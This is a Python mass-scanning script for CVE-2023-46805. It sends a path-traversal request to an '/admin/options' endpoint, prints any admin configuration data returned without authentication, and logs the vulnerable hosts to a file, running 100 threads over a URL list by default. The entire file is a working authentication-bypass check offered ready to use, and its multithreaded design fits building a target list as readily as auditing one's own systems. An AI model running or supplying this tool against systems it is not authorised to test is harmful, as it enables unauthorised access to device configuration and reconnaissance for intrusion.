import json
import argparse
import requests

from rich.console import Console
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed
from requests.packages.urllib3.exceptions import InsecureRequestWarning


class Scanner_CVE_2023_46805:
    def __init__(self, output_file):
        self.output_file = output_file
        self.console = Console()
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

    def check_vulnerability(self, url, single_url_mode=False):
        if not "://" in url:
            url = f"https://{url}"

        try:
            full_url = f"{url}/api/v1/cav/client/status/%2E%2E/%2E%2E/admin/options"
            response = requests.get(full_url, verify=False, timeout=20)

            match response.status_code:
                case 200:
                    response_text = response.text
                    if response_text:
                        try:
                            response_json = response.json()
                            if all(
                                key in response_json
                                for key in ["poll_interval", "block_message"]
                            ):
                                output_line = json.dumps(response_json)
                                self.console.print(
                                    f"[bold green][+] {url} is vulnerable to CVE-2023-46805 - [/bold green][bold yellow]{output_line}[/bold yellow]"
                                )
                                with open(self.output_file, "a") as file:
                                    file.write(url + "\n")
                                return True
                        except json.JSONDecodeError as e:
                            pass
            if single_url_mode:
                self.console.print(
                    f"[bold red][-] {url} is not vulnerable to CVE-2023-46805[/bold red]"
                )
        except Exception as e:
            if single_url_mode:
                self.console.print(
                    f"[bold red][-] Error checking {url}: {e}[/bold red]"
                )

    def process_urls(self, urls, bar, max_workers, single_url_mode=False):
        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            future_to_url = {
                executor.submit(self.check_vulnerability, url, single_url_mode): url
                for url in urls
            }
            for future in as_completed(future_to_url):
                try:
                    future.result()
                except Exception:
                    pass
                bar()


def main():
    parser = argparse.ArgumentParser(description="CVE-2023-46805 Vulnerability Scanner")
    parser.add_argument("-u", "--url", help="Single URL to check")
    parser.add_argument("-f", "--file", help="File containing a list of URLs to check")
    parser.add_argument(
        "-o", "--output", default="vulnerable_urls.txt", help="Output file for results"
    )
    parser.add_argument(
        "-t",
        "--threads",
        type=int,
        default=100,
        help="Number of threads for parallel processing",
    )
    args = parser.parse_args()

    scanner = Scanner_CVE_2023_46805(args.output)

    match args:
        case args if args.url:
            urls = [args.url]
            scanner.process_urls(urls, lambda: None, args.threads, single_url_mode=True)
        case args if args.file:
            with open(args.file, "r") as file:
                urls = [line.strip() for line in file]
            with alive_bar(len(urls), enrich_print=False) as bar:
                scanner.process_urls(urls, bar, args.threads)
        case _:
            parser.error("Either a URL (-u) or a file (-f) must be specified")


if __name__ == "__main__":
    main()